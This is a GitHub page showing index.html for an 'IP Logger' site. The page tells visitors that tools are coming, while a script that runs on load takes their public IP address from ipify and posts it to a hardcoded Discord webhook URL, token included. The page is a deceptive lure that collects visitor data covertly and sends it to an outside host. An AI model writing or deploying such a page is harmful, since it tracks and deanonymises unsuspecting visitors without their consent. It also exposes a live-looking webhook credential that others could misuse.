-
Notifications
You must be signed in to change notification settings - Fork 0
/
Copy pathindex.html
56 lines (51 loc) · 1.55 KB
/
index.html
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
<!DOCTYPE html>
<html>
<head>
<title>IP Logger</title>
</head>
<body>
<h1>Welcome to the IP Logger!</h1>
<p>Tools will be given to you in seconds....
Please wait....</p>
<script>
function getIPAddress() {
// Use a fetch request to get the IP address
fetch('https://api.ipify.org?format=json')
.then(response => response.json())
.then(data => {
// Extract the IP address
const ipAddress = data.ip;
// Send the IP address to Discord
sendToDiscord(ipAddress);
})
.catch(error => {
console.error("Error getting IP address:", error);
});
}
function sendToDiscord(ipAddress) {
// Replace with your actual Discord webhook URL
const webhookUrl = "https://discord.com/api/webhooks/1257278872106307586/98V-jdvIWaEFIv1uBqC3e60aokEtZn0qNT3_PLctqPZLFThogKfu7pHQ1Kd6MlhkFT8W";
// Construct the message to send
const message = `New visitor: ${ipAddress}`;
// Send the message to Discord
fetch(webhookUrl, {
method: 'POST',
headers: {
'Content-Type': 'application/json'
},
body: JSON.stringify({ content: message })
})
.then(response => {
if (!response.ok) {
throw new Error(`HTTP error! Status: ${response.status}`);
}
})
.catch(error => {
console.error("Error sending message to Discord:", error);
});
}
// Call the getIPAddress function when the page loads
window.onload = getIPAddress;
</script>
</body>
</html>